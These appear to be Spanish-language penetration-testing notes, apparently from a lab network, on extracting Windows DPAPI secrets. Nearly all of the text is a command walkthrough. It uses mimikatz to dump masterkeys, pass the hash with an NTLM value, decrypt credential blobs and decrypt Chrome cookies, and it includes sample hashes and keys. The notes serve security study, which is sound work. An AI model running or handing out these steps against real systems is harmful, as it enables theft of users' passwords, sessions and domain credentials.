DPAPI secrets Attack
Explicación
- DPAPI es un mecanismo de cifrado de datos que se utiliza para proteger los datos del usuario en Windows.
- Aplicaciones como Chrome, Outlook, etc. utilizan DPAPI para proteger las contraseñas.
Que se necesita para hacer este ataque
- El SID del usuario
- El masterkey del usuario
- La contraseña del usuario
C:\users\<user>\appdata\local\microsoft\credentials\<blob>
(blob es un archivo binario que contiene la masterkey cifrada con la contraseña del usuario)
C:\users\<user>\appdata\roaming\microsoft\protect\<SID>\
(contiene el masterkey cifrado con la contraseña del usuario)
Pasos
- Obtener el SID del usuario:
whoami /user
o wmic useraccount get name,sid
- Obtener el masterkey cifrado con la contraseña del usuario:
C:\users\<user>\appdata\local\microsoft\credentials\<blob>
- Obtener el masterkey cifrado con la contraseña del usuario:
C:\users\<user>\appdata\roaming\microsoft\protect\<SID>\
- Mimikatz:
dpapi::cred /in:C:\users\<user>\appdata\local\microsoft\credentials\<credential blob>
- Nos guardamos
guidMasterKey
y pbData
- Revisar
c:\users\<user>\appdata\roaming\microsoft\protect\<SID>\
para ver si hay un archivo con el mismo guidMasterKey
- Si lo hay, usamos
mimikatz dpapi::masterkey /in:C:\users\<user>\appdata\roaming\microsoft\protect\<SID>\<guidMasterKey> /password:<password>
mimikatz dpapi::masterkey /in:C:\users\<user>\appdata\roaming\microsoft\protect\<SID>\<MasterKey blob> /rpc
Otros comandos
sekurlsa::dpapi
conseguimos las masterkeys cifradas con la contraseña del usuario
- Ahora podemos hacer
dpapi::masterkey /in:C:\users\<user>\appdata\roaming\microsoft\protect\<SID>\<guidMasterKey> /password:<password>
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca 0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
Ejemplo:
mimikatz sekurlsa::dpapi
: Obtenemos las masterkeys cifradas con la contraseña del usuario
sekurlsa::pth /user:epugh /domain:rastalabs.local /ntlm:326457b72c3f136d80d99bdbb935d109 /impersonateprocess
: Nos logeamos como el usuario que tiene la masterkey
mimikatz dpapi::masterkey /in:C:\Users\epugh\AppData\Roaming\Microsoft\Protect\S-1-5-21-1396373213-2872852198-2033860859-1151\7dc6a492-36e2-4c2d-be66-ba29d263dda2
: Obtenemos la masterkey cifrada con la contraseña del usuario
mimikatz dpapi::masterkey /in:C:\Users\epugh\AppData\Roaming\Microsoft\Protect\S-1-5-21-1396373213-2872852198-2033860859-1151\7dc6a492-36e2-4c2d-be66-ba29d263dda2 /rpc
: Obtenemos la masterkey cifrada con la contraseña del usuario con rpc, usa el servicio lssass
dpapi::cred /in:C:\users\epugh\AppData\Local\Microsoft\Credentials\936A68B5AC87C545C4A22D1AF264C8E9 /masterkey:dcd70638e50e3bcec7cd7fb888399748fea41f9bb137a72a13c98e30ee64469e27a03083256e51f04051a427da9b8c34520fad6c8a486c3f6043ea959026670c
: Obtenemos las credenciales cifradas con la masterkey
Referencias